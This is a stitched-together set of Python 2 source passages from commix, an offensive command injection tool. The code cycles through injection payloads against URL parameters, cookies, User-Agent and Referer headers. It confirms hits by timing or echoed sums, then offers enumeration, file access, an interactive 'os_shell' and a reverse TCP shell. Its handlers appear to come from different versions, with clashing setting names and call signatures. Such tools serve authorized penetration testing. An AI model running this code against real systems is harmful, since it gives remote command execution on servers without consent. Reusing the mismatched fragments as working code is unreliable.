print " (+) Payload : " + Fore.YELLOW + Style.BRIGHT + re.sub(
"%20", " ", payload.replace(
"\n", "\\n")) + Style.RESET_ALL
if settings.TARGET_OS == "win":
delete_previous_shell(separator, payload, TAG,
cmd, prefix, suffix,
http_request_method, url,
vuln_parameter,
OUTPUT_TEXTFILE,
alter_shell, filename)
time.sleep(1)
# Check for any enumeration options.
if settings.ENUMERATION_DONE == True:
while True:
enumerate_again = raw_input(
"\n(?) Do you want to enumerate again? [Y/n/q] > "
).lower()
if enumerate_again in settings.CHOISE_YES:
tfb_enumeration.do_check(
separator, maxlen, TAG, cmd,
prefix, suffix, delay,
http_request_method, url,
vuln_parameter, OUTPUT_TEXTFILE,
alter_shell, filename,
url_time_response)
break
elif enumerate_again in settings.CHOISE_NO:
break
elif enumerate_again in settings.CHOISE_QUIT:
# Delete previous shell (text) files (output) from temp.
delete_previous_shell(
separator, payload, TAG, cmd,
prefix, suffix,
http_request_method, url,
vuln_parameter, OUTPUT_TEXTFILE,
alter_shell, filename)
sys.exit(0)
else:
if enumerate_again == "":
enumerate_again = "enter"
print Back.RED + "(x) Error: '" + enumerate_again + "' is not a valid answer." + Style.RESET_ALL
pass
else:
tfb_enumeration.do_check(
separator, maxlen, TAG, cmd, prefix,
suffix, delay, http_request_method, url,
vuln_parameter, OUTPUT_TEXTFILE,
alter_shell, filename, url_time_response)
# Check for any system file access options.
if settings.FILE_ACCESS_DONE == True:
while True:
file_access_again = raw_input(
"(?) Do you want to access files again? [Y/n] > "
).lower()
if file_access_again in settings.CHOISE_YES:
tfb_file_access.do_check(
separator, maxlen, TAG, cmd,
prefix, suffix, delay,
http_request_method, url,
vuln_parameter, OUTPUT_TEXTFILE,
alter_shell, filename,
url_time_response)
break
elif file_access_again in settings.CHOISE_NO:
break
elif file_access_again in settings.CHOISE_QUIT:
# Delete previous shell (text) files (output) from temp.
delete_previous_shell(
separator, payload, TAG, cmd,
prefix, suffix,
http_request_method, url,
vuln_parameter, OUTPUT_TEXTFILE,
alter_shell, filename)
sys.exit(0)
else:
if file_access_again == "":
file_access_again = "enter"
print Back.RED + "(x) Error: '" + file_access_again + "' is not a valid answer." + Style.RESET_ALL
pass
else:
tfb_file_access.do_check(
separator, maxlen, TAG, cmd, prefix,
suffix, delay, http_request_method, url,
vuln_parameter, OUTPUT_TEXTFILE,
alter_shell, filename, url_time_response)
# Check if defined single cmd.
if menu.options.os_cmd:
check_how_long, output = tfb_enumeration.single_os_cmd_exec(
separator, maxlen, TAG, cmd, prefix,
suffix, delay, http_request_method, url,
vuln_parameter, OUTPUT_TEXTFILE,
alter_shell, filename, url_time_response)
# Export injection result
tfb_injector.export_injection_results(
cmd, separator, output, check_how_long)
# Delete previous shell (text) files (output) from temp.
delete_previous_shell(separator, payload, TAG,
cmd, prefix, suffix,
http_request_method, url,
vuln_parameter,
OUTPUT_TEXTFILE,
alter_shell, filename)
sys.exit(0)
try:
# Pseudo-Terminal shell
go_back = False
go_back_again = False
while True:
# Delete previous shell (text) files (output) from temp.
delete_previous_shell(
separator, payload, TAG, cmd, prefix,
suffix, http_request_method, url,
vuln_parameter, OUTPUT_TEXTFILE,
alter_shell, filename)
if menu.options.verbose:
print ""
if go_back == True:
break
gotshell = raw_input(
"(?) Do you want a Pseudo-Terminal? [Y/n/q] > "
).lower()
if gotshell in settings.CHOISE_YES:
print ""
print "Pseudo-Terminal (type '" + Style.BRIGHT + "?" + Style.RESET_ALL + "' for available options)"
if readline_error:
checks.no_readline_module()
while True:
try:
# Tab compliter
if not readline_error:
readline.set_completer(
menu.tab_completer)
# MacOSX tab compliter
if getattr(
readline,
'__doc__', ''
) is not None and 'libedit' in getattr(
readline,
'__doc__', ''):
readline.parse_and_bind(
"bind ^I rl_complete"
)
# Unix tab compliter
else:
readline.parse_and_bind(
"tab: complete")
cmd = raw_input(
"""commix(""" +
Style.BRIGHT + Fore.RED +
"""os_shell""" +
Style.RESET_ALL +
""") > """)
cmd = checks.escaped_cmd(cmd)
if cmd.lower(
) in settings.SHELL_OPTIONS:
os_shell_option = checks.check_os_shell_options(
cmd.lower(), technique,
go_back, no_result)
if os_shell_option == False:
if no_result == True:
return False
else:
return True
elif os_shell_option == "quit":
# Delete previous shell (text) files (output) from temp.
delete_previous_shell(
separator, payload,
TAG, cmd, prefix,
suffix,
http_request_method,
url,
vuln_parameter,
OUTPUT_TEXTFILE,
alter_shell,
filename)
sys.exit(0)
elif os_shell_option == "back":
go_back = True
break
elif os_shell_option == "os_shell":
print Fore.YELLOW + "(^) Warning: You are already into an 'os_shell' mode." + Style.RESET_ALL + "\n"
elif os_shell_option == "reverse_tcp":
# Set up LHOST / LPORT for The reverse TCP connection.
lhost, lport = reverse_tcp.configure_reverse_tcp(
)
while True:
if lhost and lport in settings.SHELL_OPTIONS:
result = checks.check_reverse_tcp_options(
lhost)
else:
cmd = reverse_tcp.reverse_tcp_options(
lhost,
lport)
result = checks.check_reverse_tcp_options(
cmd)
if result != None:
if result == 0:
return False
elif result == 1 or result == 2:
go_back_again = True
break
# Command execution results.
from src.core.injections.results_based.techniques.classic import cb_injector
separator = checks.time_based_separators(
separator,
http_request_method
)
whitespace = settings.WHITESPACES[
0]
response = cb_injector.injection(
separator, TAG,
cmd, prefix,
suffix,
whitespace,
http_request_method,
url,
vuln_parameter,
alter_shell,
filename)
# Evaluate injection results.
shell = cb_injector.injection_results(
response, TAG)
if menu.options.verbose:
print ""
print Back.RED + "(x) Error: The reverse TCP connection has been failed!" + Style.RESET_ALL
else:
pass
else:
print ""
# The main command injection exploitation.
check_how_long, output = tfb_injector.injection(
separator, maxlen, TAG,
cmd, prefix, suffix,
delay,
http_request_method,
url, vuln_parameter,
OUTPUT_TEXTFILE,
alter_shell, filename,
url_time_response)
# Export injection result
tfb_injector.export_injection_results(
cmd, separator, output,
check_how_long)
except KeyboardInterrupt:
# Delete previous shell (text) files (output) from temp.
delete_previous_shell(
separator, payload, TAG,
cmd, prefix, suffix,
http_request_method, url,
vuln_parameter,
OUTPUT_TEXTFILE,
alter_shell, filename)
raise
except SystemExit:
# Delete previous shell (text) files (output) from temp.
delete_previous_shell(
separator, payload, TAG,
cmd, prefix, suffix,
http_request_method, url,
vuln_parameter,
OUTPUT_TEXTFILE,
alter_shell, filename)
raise
elif gotshell in settings.CHOISE_NO:
if checks.next_attack_vector(
technique, go_back) == True:
break
else:
if no_result == True:
return False
else:
# Delete previous shell (text) files (output) from temp.
delete_previous_shell(
separator, payload, TAG,
cmd, prefix, suffix,
http_request_method, url,
vuln_parameter,
OUTPUT_TEXTFILE,
alter_shell, filename)
return True
elif gotshell in settings.CHOISE_QUIT:
# Delete previous shell (text) files (output) from temp.
delete_previous_shell(
separator, payload, TAG, cmd,
prefix, suffix,
http_request_method, url,
vuln_parameter, OUTPUT_TEXTFILE,
alter_shell, filename)
sys.exit(0)
else:
if gotshell == "":
gotshell = "enter"
print Back.RED + "(x) Error: '" + gotshell + "' is not a valid answer." + Style.RESET_ALL
pass
except KeyboardInterrupt:
# Delete previous shell (text) files (output) from temp.
delete_previous_shell(separator, payload, TAG,
cmd, prefix, suffix,
http_request_method, url,
vuln_parameter,
OUTPUT_TEXTFILE,
alter_shell, filename)
raise
except SystemExit:
# Delete previous shell (text) files (output) from temp.
delete_previous_shell(separator, payload, TAG,
cmd, prefix, suffix,
http_request_method, url,
vuln_parameter,
OUTPUT_TEXTFILE,
alter_shell, filename)
raise
break
if no_result == True:
print ""
return False
else:
sys.stdout.write("\r")
sys.stdout.flush()
def tfb_injection_handler(url, delay, filename, tmp_path, http_request_method, url_time_response):
counter = 1
num_of_chars = 1
vp_flag = True
no_result = True
is_encoded = False
export_injection_info = False
injection_type = "Semiblind-based Command Injection"
technique = "tempfile-based injection technique"
# Check if defined "--maxlen" option.
if menu.options.maxlen:
maxlen = menu.options.maxlen
# Check if defined "--url-reload" option.
if menu.options.url_reload == True:
print Back.RED + "(x) Error: The '--url-reload' option is not available in "+ technique +"!" + Style.RESET_ALL
# Calculate all possible combinations
total = (len(settings.PREFIXES) * len(settings.SEPARATORS) * len(settings.SUFFIXES) - len(settings.JUNK_COMBINATION))
for prefix in settings.PREFIXES:
for suffix in settings.SUFFIXES:
for separator in settings.SEPARATORS:
num_of_chars = num_of_chars + 1
# Check for bad combination of prefix and separator
combination = prefix + separator
if combination in settings.JUNK_COMBINATION:
prefix = ""
# Change TAG on every request to prevent false-positive resutls.
TAG = ''.join(random.choice(string.ascii_uppercase) for num_of_chars in range(6))
# The output file for file-based injection technique.
OUTPUT_TEXTFILE = tmp_path + TAG + ".txt"
alter_shell = menu.options.alter_shell
tag_length = len(TAG) + 4
for output_length in range(1, int(tag_length)):
try:
# Tempfile-based decision payload (check if host is vulnerable).
if alter_shell :
payload = tfb_payloads.decision_alter_shell(separator, output_length, TAG, OUTPUT_TEXTFILE, delay, http_request_method)
else:
payload = tfb_payloads.decision(separator, output_length, TAG, OUTPUT_TEXTFILE, delay, http_request_method)
# Fix prefixes / suffixes
payload = parameters.prefixes(payload, prefix)
payload = parameters.suffixes(payload, suffix)
# Check if defined "--verbose" option.
if menu.options.verbose:
sys.stdout.write("\n" + Fore.GREY + "(~) Payload: " + payload.replace("\n", "\\n") + Style.RESET_ALL)
# Cookie Injection
if settings.COOKIE_INJECTION == True:
# Check if target host is vulnerable to cookie injection.
vuln_parameter = parameters.specify_cookie_parameter(menu.options.cookie)
how_long = tfb_injector.cookie_injection_test(url, vuln_parameter, payload)
# User-Agent Injection
elif settings.USER_AGENT_INJECTION == True:
# Check if target host is vulnerable to user-agent injection.
vuln_parameter = parameters.specify_user_agent_parameter(menu.options.agent)
how_long = tfb_injector.user_agent_injection_test(url, vuln_parameter, payload)
# Referer Injection
elif settings.REFERER_INJECTION == True:
# Check if target host is vulnerable to referer injection.
vuln_parameter = parameters.specify_referer_parameter(menu.options.referer)
how_long = tfb_injector.referer_injection_test(url, vuln_parameter, payload)
else:
# Check if target host is vulnerable.
how_long, vuln_parameter = tfb_injector.injection_test(payload, http_request_method, url)
# Injection percentage calculation
percent = ((num_of_chars * 100) / total)
if percent == 100 and no_result == True:
if not menu.options.verbose:
percent = Fore.RED + "FAILED" + Style.RESET_ALL
else:
percent = ""
else:
if (url_time_response <= 1 and how_long >= delay) or \
(url_time_response >= 2 and how_long > delay):
# Time relative false positive fixation.
randv1 = random.randrange(0, 1)
randv2 = random.randrange(1, 2)
randvcalc = randv1 + randv2
cmd = "echo $((" + str(randv1) + "+" + str(randv2) + "))"
output = tfb_injector.false_positive_check(separator, TAG, cmd, prefix, suffix, delay, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, randvcalc, alter_shell)
if str(output) == str(randvcalc):
if not menu.options.verbose:
percent = Fore.GREEN + "SUCCEED" + Style.RESET_ALL
else:
percent = ""
else:
break
else:
percent = str(percent)+"%"
if not menu.options.verbose:
sys.stdout.write("\r(*) Testing the "+ technique + "... " + "[ " + percent + " ]")
sys.stdout.flush()
except KeyboardInterrupt:
raise
except:
percent = ((num_of_chars * 100) / total)
if percent == 100:
if no_result == True:
if not menu.options.verbose:
percent = Fore.RED + "FAILED" + Style.RESET_ALL
sys.stdout.write("\r(*) Testing the "+ technique + "... " + "[ " + percent + " ]")
sys.stdout.flush()
else:
percent = ""
break
else:
percent = str(percent)+"%"
#Print logs notification message
percent = Fore.BLUE + "FINISHED" + Style.RESET_ALL
sys.stdout.write("\r(*) Testing the "+ technique + "... " + "[ " + percent + " ]")
sys.stdout.flush()
print ""
logs.logs_notification(filename)
raise
else:
percent = str(percent)+"%"
break
# Yaw, got shellz!
# Do some magic tricks!
if (url_time_response <= 1 and how_long >= delay) or \
(url_time_response >= 2 and how_long > delay) :
if len(TAG) == output_length:
found = True
no_result = False
if settings.COOKIE_INJECTION == True:
header_name = " Cookie"
found_vuln_parameter = vuln_parameter
the_type = " HTTP header"
elif settings.USER_AGENT_INJECTION == True:
header_name = " User-Agent"
found_vuln_parameter = ""
the_type = " HTTP header"
elif settings.REFERER_INJECTION == True:
header_name = " Referer"
found_vuln_parameter = ""
the_type = " HTTP header"
else:
header_name = ""
the_type = " parameter"
if http_request_method == "GET":
found_vuln_parameter = parameters.vuln_GET_param(url)
else :
found_vuln_parameter = vuln_parameter
if len(found_vuln_parameter) != 0 :
found_vuln_parameter = " '" + Style.UNDERLINE + found_vuln_parameter + Style.RESET_ALL + Style.BRIGHT + "'"
# Print the findings to log file.
if export_injection_info == False:
export_injection_info = logs.add_type_and_technique(export_injection_info, filename, injection_type, technique)
if vp_flag == True:
vp_flag = logs.add_parameter(vp_flag, filename, http_request_method, vuln_parameter, payload)
logs.upload_payload(filename, counter, payload)
counter = counter + 1
# Print the findings to terminal.
print Style.BRIGHT + "\n(!) The ("+ http_request_method + ")" + found_vuln_parameter + header_name + the_type + " is vulnerable to "+ injection_type + "." + Style.RESET_ALL
print " (+) Type : "+ Fore.YELLOW + Style.BRIGHT + injection_type + Style.RESET_ALL + ""
print " (+) Technique : "+ Fore.YELLOW + Style.BRIGHT + technique.title() + Style.RESET_ALL + ""
print " (+) Payload : "+ Fore.YELLOW + Style.BRIGHT + re.sub("%20", " ", payload.replace("\n", "\\n")) + Style.RESET_ALL
# Check for any enumeration options.
tfb_enumeration.do_check(separator, maxlen, TAG, prefix, suffix, delay, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell)
# Check for any enumeration options.
tfb_file_access.do_check(separator, maxlen, TAG, prefix, suffix, delay, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell)
# Check if defined single cmd.
if menu.options.os_cmd:
tfb_enumeration.single_os_cmd_exec(separator, maxlen, TAG, cmd, prefix, suffix, delay, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell)
# Pseudo-Terminal shell
go_back = False
while True:
if go_back == True:
break
gotshell = raw_input("\n(?) Do you want a Pseudo-Terminal shell? [Y/n] > ").lower()
if gotshell in settings.CHOISE_YES:
print ""
print "Pseudo-Terminal (type '?' for shell options)"
while True:
try:
cmd = raw_input("Shell > ")
if cmd.lower() in settings.SHELL_OPTIONS:
if cmd == "?":
menu.shell_options()
continue
elif cmd.lower() == "quit":
logs.logs_notification(filename)
sys.exit(0)
elif cmd.lower() == "back":
go_back = True
break
else:
pass
else:
# The main command injection exploitation.
check_how_long, output = tfb_injector.injection(separator, maxlen, TAG, cmd, prefix, suffix, delay, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell)
if menu.options.verbose:
print ""
if output != "" and check_how_long != 0 :
print "\n\n" + Fore.GREEN + Style.BRIGHT + output + Style.RESET_ALL
print "\n(*) Finished in "+ time.strftime('%H:%M:%S', time.gmtime(check_how_long)) +".\n"
else:
print "\n" + Back.RED + "(x) Error: The '" + cmd + "' command, does not return any output." + Style.RESET_ALL + "\n"
except KeyboardInterrupt:
raise
elif gotshell in settings.CHOISE_NO:
if menu.options.verbose:
sys.stdout.write("\r(*) Continue testing the "+ technique +"... ")
sys.stdout.flush()
break
else:
if gotshell == "":
gotshell = "enter"
print Back.RED + "(x) Error: '" + gotshell + "' is not a valid answer." + Style.RESET_ALL
pass
break
if no_result == True:
print ""
return False
else :
sys.stdout.write("\r")
sys.stdout.flush()
def eb_injection_handler(url, delay, filename, http_request_method):
counter = 1
vp_flag = True
no_result = True
export_injection_info = False
injection_type = "Results-based Command Injection"
technique = "eval-based code injection technique"
for item in range(0, len(settings.EXECUTION_FUNCTIONS)):
settings.EXECUTION_FUNCTIONS[item] = "${" + settings.EXECUTION_FUNCTIONS[item] + "("
settings.EVAL_PREFIXES = settings.EVAL_PREFIXES + settings.EXECUTION_FUNCTIONS
url = eb_injector.warning_detection(url, http_request_method)
if not settings.LOAD_SESSION:
info_msg = "Testing the " + technique + "... "
sys.stdout.write(settings.print_info_msg(info_msg))
sys.stdout.flush()
i = 0
# Calculate all possible combinations
total = len(settings.WHITESPACE) * len(settings.EVAL_PREFIXES) * len(settings.EVAL_SEPARATORS) * len(settings.EVAL_SUFFIXES)
for whitespace in settings.WHITESPACE:
for prefix in settings.EVAL_PREFIXES:
for suffix in settings.EVAL_SUFFIXES:
for separator in settings.EVAL_SEPARATORS:
# If a previous session is available.
if settings.LOAD_SESSION and session_handler.notification(url, technique):
url, technique, injection_type, separator, shell, vuln_parameter, prefix, suffix, TAG, alter_shell, payload, http_request_method, url_time_response, delay, how_long, output_length, is_vulnerable = session_handler.injection_point_exportation(url, http_request_method)
checks.check_for_stored_tamper(payload)
if settings.RETEST == True:
settings.RETEST = False
from src.core.injections.results_based.techniques.classic import cb_handler
cb_handler.exploitation(url, delay, filename, http_request_method)
if not settings.LOAD_SESSION:
i = i + 1
# Check for bad combination of prefix and separator
combination = prefix + separator
if combination in settings.JUNK_COMBINATION:
prefix = ""
# Change TAG on every request to prevent false-positive results.
TAG = ''.join(random.choice(string.ascii_uppercase) for i in range(6))
randv1 = random.randrange(100)
randv2 = random.randrange(100)
randvcalc = randv1 + randv2
# Define alter shell
alter_shell = menu.options.alter_shell
try:
if alter_shell:
# Classic -alter shell- decision payload (check if host is vulnerable).
payload = eb_payloads.decision_alter_shell(separator, TAG, randv1, randv2)
else:
# Classic decision payload (check if host is vulnerable).
payload = eb_payloads.decision(separator, TAG, randv1, randv2)
suffix = urllib.quote(suffix)
# Fix prefixes / suffixes
payload = parameters.prefixes(payload, prefix)
payload = parameters.suffixes(payload, suffix)
# Fixation for specific payload.
if ")%3B" + urllib.quote(")}") in payload:
payload = payload.replace(")%3B" + urllib.quote(")}"), ")" + urllib.quote(")}"))
payload = payload + TAG + ""
# Whitespace fixation
payload = re.sub(" ", whitespace, payload)
if settings.TAMPER_SCRIPTS['base64encode']:
from src.core.tamper import base64encode
payload = base64encode.encode(payload)
else:
payload = re.sub(" ", "%20", payload)
# Check if defined "--verbose" option.
if settings.VERBOSITY_LEVEL >= 1:
sys.stdout.write("\n" + settings.print_payload(payload))
# Cookie Injection
if settings.COOKIE_INJECTION == True:
# Check if target host is vulnerable to cookie injection.
vuln_parameter = parameters.specify_cookie_parameter(menu.options.cookie)
response = eb_injector.cookie_injection_test(url, vuln_parameter, payload)
# User-Agent Injection
elif settings.USER_AGENT_INJECTION == True:
# Check if target host is vulnerable to user-agent injection.
vuln_parameter = parameters.specify_user_agent_parameter(menu.options.agent)
response = eb_injector.user_agent_injection_test(url, vuln_parameter, payload)
# Referer Injection
elif settings.REFERER_INJECTION == True:
# Check if target host is vulnerable to referer injection.
vuln_parameter = parameters.specify_referer_parameter(menu.options.referer)
response = eb_injector.referer_injection_test(url, vuln_parameter, payload)
# Custom HTTP header Injection
elif settings.CUSTOM_HEADER_INJECTION == True:
# Check if target host is vulnerable to custom http header injection.
vuln_parameter = parameters.specify_custom_header_parameter(settings.INJECT_TAG)
response = eb_injector.custom_header_injection_test(url, vuln_parameter, payload)
else:
found_cookie_injection = False
# Check if target host is vulnerable.
response, vuln_parameter = eb_injector.injection_test(payload, http_request_method, url)
# if need page reload
if menu.options.url_reload:
time.sleep(delay)
response = urllib.urlopen(url)
# Evaluate test results.
shell = eb_injector.injection_test_results(response, TAG, randvcalc)
if not settings.VERBOSITY_LEVEL >= 1:
percent = ((i*100)/total)
float_percent = "{0:.1f}".format(round(((i*100)/(total * 1.0)),2))
if shell == False:
info_msg = "Testing the " + technique + "... " + "[ " + float_percent + "%" + " ]"
sys.stdout.write("\r" + settings.print_info_msg(info_msg))
sys.stdout.flush()
if str(float_percent) == "100.0":
if no_result == True:
percent = Fore.RED + "FAILED" + Style.RESET_ALL
else:
percent = str(float_percent)+ "%"
elif len(shell) != 0:
percent = Fore.GREEN + "SUCCEED" + Style.RESET_ALL
else:
percent = str(float_percent)+ "%"
info_msg = "Testing the " + technique + "... " + "[ " + percent + " ]"
sys.stdout.write("\r" + settings.print_info_msg(info_msg))
sys.stdout.flush()
except KeyboardInterrupt:
raise
except SystemExit:
raise
except:
continue
# Yaw, got shellz!
# Do some magic tricks!
if shell:
found = True
no_result = False
if settings.COOKIE_INJECTION == True:
header_name = " cookie"
found_vuln_parameter = vuln_parameter
the_type = " parameter"
elif settings.USER_AGENT_INJECTION == True:
header_name = " User-Agent"
found_vuln_parameter = ""
the_type = " HTTP header"
elif settings.REFERER_INJECTION == True:
header_name = " Referer"
found_vuln_parameter = ""
the_type = " HTTP header"
elif settings.CUSTOM_HEADER_INJECTION == True:
header_name = " " + settings.CUSTOM_HEADER_NAME
found_vuln_parameter = ""
the_type = " HTTP header"
else:
header_name = ""
the_type = " parameter"
if http_request_method == "GET":
found_vuln_parameter = parameters.vuln_GET_param(url)
else :
found_vuln_parameter = vuln_parameter
if len(found_vuln_parameter) != 0 :
found_vuln_parameter = " '" + Style.UNDERLINE + found_vuln_parameter + Style.RESET_ALL + Style.BRIGHT + "'"
# Print the findings to log file.
if export_injection_info == False:
export_injection_info = logs.add_type_and_technique(export_injection_info, filename, injection_type, technique)
if vp_flag == True:
vp_flag = logs.add_parameter(vp_flag, filename, the_type, header_name, http_request_method, vuln_parameter, payload)
logs.update_payload(filename, counter, payload)
counter = counter + 1
if not settings.LOAD_SESSION:
print ""
# Print the findings to terminal.
success_msg = "The (" + http_request_method + ")"
success_msg += found_vuln_parameter + header_name
success_msg += the_type + " is vulnerable to " + injection_type + "."
print settings.print_success_msg(success_msg)
print " (+) Type : " + Fore.YELLOW + Style.BRIGHT + injection_type + Style.RESET_ALL + ""
print " (+) Technique : " + Fore.YELLOW + Style.BRIGHT + technique.title() + Style.RESET_ALL + ""
print " (+) Payload : " + Fore.YELLOW + Style.BRIGHT + re.sub("%20", " ", payload) + Style.RESET_ALL
# Export session
if not settings.LOAD_SESSION:
session_handler.injection_point_importation(url, technique, injection_type, separator, shell[0], vuln_parameter, prefix, suffix, TAG, alter_shell, payload, http_request_method, url_time_response=0, delay=0, how_long=0, output_length=0, is_vulnerable="True")
else:
whitespace = settings.WHITESPACE[0]
settings.LOAD_SESSION = False
# Check for any enumeration options.
if settings.ENUMERATION_DONE == True :
while True:
question_msg = "Do you want to enumerate again? [Y/n/q] > "
enumerate_again = raw_input("\n" + settings.print_question_msg(question_msg)).lower()
if enumerate_again in settings.CHOICE_YES:
eb_enumeration.do_check(separator, TAG, prefix, suffix, http_request_method, url, vuln_parameter, alter_shell, filename)
print ""
break
elif enumerate_again in settings.CHOICE_NO:
break
elif enumerate_again in settings.CHOICE_QUIT:
sys.exit(0)
else:
if enumerate_again == "":
enumerate_again = "enter"
err_msg = "'" + enumerate_again + "' is not a valid answer."
print settings.print_error_msg(err_msg) + "\n"
pass
else:
if menu.enumeration_options():
eb_enumeration.do_check(separator, TAG, prefix, suffix, http_request_method, url, vuln_parameter, alter_shell, filename)
if not menu.file_access_options() and not menu.options.os_cmd:
print ""
# Check for any system file access options.
if settings.FILE_ACCESS_DONE == True :
if settings.ENUMERATION_DONE != True:
print ""
while True:
question_msg = "Do you want to access files again? [Y/n/q] > "
file_access_again = raw_input(settings.print_question_msg(question_msg)).lower()
if file_access_again in settings.CHOICE_YES:
eb_file_access.do_check(separator, TAG, prefix, suffix, http_request_method, url, vuln_parameter, alter_shell, filename)
print ""
break
elif file_access_again in settings.CHOICE_NO:
break
elif file_access_again in settings.CHOICE_QUIT:
sys.exit(0)
else:
if file_access_again == "":
file_access_again = "enter"
err_msg = "'" + file_access_again + "' is not a valid answer."
print settings.print_error_msg(err_msg) + "\n"
pass
else:
if menu.file_access_options():
if not menu.enumeration_options():
print ""
eb_file_access.do_check(separator, TAG, prefix, suffix, http_request_method, url, vuln_parameter, alter_shell, filename)
print ""
# Check if defined single cmd.
if menu.options.os_cmd:
if not menu.file_access_options():
print ""
eb_enumeration.single_os_cmd_exec(separator, TAG, prefix, suffix, http_request_method, url, vuln_parameter, alter_shell, filename)
# Pseudo-Terminal shell
go_back = False
go_back_again = False
while True:
if go_back == True:
break
question_msg = "Do you want a Pseudo-Terminal? [Y/n/q] > "
gotshell = raw_input(settings.print_question_msg(question_msg)).lower()
if gotshell in settings.CHOICE_YES:
print ""
print "Pseudo-Terminal (type '" + Style.BRIGHT + "?" + Style.RESET_ALL + "' for available options)"
if readline_error:
checks.no_readline_module()
while True:
try:
# Tab compliter
if not readline_error:
readline.set_completer(menu.tab_completer)
# MacOSX tab compliter
if getattr(readline, '__doc__', '') is not None and 'libedit' in getattr(readline, '__doc__', ''):
readline.parse_and_bind("bind ^I rl_complete")
# Unix tab compliter
else:
readline.parse_and_bind("tab: complete")
cmd = raw_input("""commix(""" + Style.BRIGHT + Fore.RED + """os_shell""" + Style.RESET_ALL + """) > """)
cmd = checks.escaped_cmd(cmd)
if cmd.lower() in settings.SHELL_OPTIONS:
os_shell_option = checks.check_os_shell_options(cmd.lower(), technique, go_back, no_result)
if os_shell_option == False:
if no_result == True:
return False
else:
return True
elif os_shell_option == "quit":
sys.exit(0)
elif os_shell_option == "back":
go_back = True
break
elif os_shell_option == "os_shell":
warn_msg = "You are already into an 'os_shell' mode."
print settings.print_warning_msg(warn_msg)+ "\n"
elif os_shell_option == "reverse_tcp":
settings.REVERSE_TCP = True
# Set up LHOST / LPORT for The reverse TCP connection.
reverse_tcp.configure_reverse_tcp()
if settings.REVERSE_TCP == False:
continue
while True:
if settings.LHOST and settings.LPORT in settings.SHELL_OPTIONS:
result = checks.check_reverse_tcp_options(settings.LHOST)
else:
cmd = reverse_tcp.reverse_tcp_options()
result = checks.check_reverse_tcp_options(cmd)
if result != None:
if result == 0:
return False
elif result == 1 or result == 2:
go_back_again = True
settings.REVERSE_TCP = False
break
# Command execution results.
response = eb_injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename)
# Evaluate injection results.
shell = eb_injector.injection_results(response, TAG, cmd)
if settings.VERBOSITY_LEVEL >= 1:
print ""
err_msg = "The reverse TCP connection has been failed!"
print settings.print_critical_msg(err_msg)
else:
pass
else:
# The main command injection exploitation.
response = eb_injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename)
# if need page reload
if menu.options.url_reload:
time.sleep(delay)
response = urllib.urlopen(url)
if menu.options.ignore_session or\
session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None:
# Evaluate injection results.
shell = eb_injector.injection_results(response, TAG, cmd)
shell = "".join(str(p) for p in shell).replace(" ", "", 1)
if not menu.options.ignore_session :
session_handler.store_cmd(url, cmd, shell, vuln_parameter)
else:
shell = session_handler.export_stored_cmd(url, cmd, vuln_parameter)
#if shell:
if shell != "":
shell = "".join(str(p) for p in shell)
print "\n" + Fore.GREEN + Style.BRIGHT + shell + Style.RESET_ALL + "\n"
else:
err_msg = "The '" + cmd + "' command, does not return any output."
print "\n" + settings.print_error_msg(err_msg) + "\n"
except KeyboardInterrupt:
raise
except SystemExit:
raise
elif gotshell in settings.CHOICE_NO:
if checks.next_attack_vector(technique, go_back) == True:
break
else:
if no_result == True:
return False
else:
return True
elif gotshell in settings.CHOICE_QUIT:
sys.exit(0)
else:
if gotshell == "":
gotshell = "enter"
err_msg = "'" + gotshell + "' is not a valid answer."
print settings.print_error_msg(err_msg) + "\n"
pass
if no_result == True:
print ""
return False
else :
sys.stdout.write("\r")
sys.stdout.flush()
def do_check(url, filename):
classic_state = False
eval_based_state = False
time_based_state = False
file_based_state = False
# Check if defined "--delay" option.
if menu.options.delay:
delay = menu.options.delay
else:
delay = settings.DELAY
# Do authentication if needed.
if menu.options.auth_url and menu.options.auth_data:
authentication.auth_process()
elif menu.options.auth_url or menu.options.auth_data:
print Back.RED + "(x) Error: You must specify both login panel URL and login parameters.\n" + Style.RESET_ALL
sys.exit(0)
else:
pass
# Check if HTTP Method is GET or POST.
header_name = ""
if not menu.options.data:
http_request_method = "GET"
if not settings.COOKIE_INJECTION and not settings.USER_AGENT_INJECTION and not settings.REFERER_INJECTION:
url = parameters.do_GET_check(url)
check_parameter = parameters.vuln_GET_param(url)
the_type = " parameter "
else:
http_request_method = "POST"
parameter = menu.options.data
parameter = parameters.do_POST_check(parameter)
check_parameter = parameters.vuln_POST_param(parameter, url)
the_type = " parameter "
# Load modules
modules_handler.load_modules(url, http_request_method, filename)
# Cookie Injection
if settings.COOKIE_INJECTION == True:
header_name = " Cookie"
check_parameter = parameters.specify_cookie_parameter(menu.options.cookie)
the_type = " HTTP header "
# User-Agent Injection
elif settings.USER_AGENT_INJECTION == True:
header_name = " User-Agent"
check_parameter = ""
the_type = " HTTP header "
# Referer Injection
elif settings.REFERER_INJECTION == True:
header_name = " Referer"
check_parameter = ""
the_type = " HTTP header "
else:
pass
if len(check_parameter) != 0:
check_parameter = " '" + check_parameter + "'"
print "(*) Setting the " + "(" + http_request_method + ")" + check_parameter + header_name + the_type + "for tests."
# Estimating the response time (in seconds)
delay, url_time_response = requests.estimate_response_time(url, http_request_method, delay)
# Check all injection techniques
if not menu.options.tech:
# Check if it is vulnerable to classic command injection technique.
if cb_handler.exploitation(url, delay, filename, http_request_method) != False:
classic_state = True
# Check if it is vulnerable to eval-based command injection technique.
if eb_handler.exploitation(url, delay, filename, http_request_method) != False:
eval_based_state = True
# Check if it is vulnerable to time-based blind command injection technique.
if tb_handler.exploitation(url, delay, filename, http_request_method, url_time_response) != False:
time_based_state = True
# Check if it is vulnerable to file-based semiblind command injection technique.
if fb_handler.exploitation(url, delay, filename, http_request_method, url_time_response) != False:
file_based_state = True
else:
# Check if it is vulnerable to classic command injection technique.
if "classic" in menu.options.tech or len(menu.options.tech) <= 4 and "c" in menu.options.tech:
# Check if classic results-based command injection technique succeeds.
if cb_handler.exploitation(url, delay, filename, http_request_method) != False:
classic_state = True
elif menu.options.tech == "classic":
cb_handler.exploitation(url, delay, filename, http_request_method)
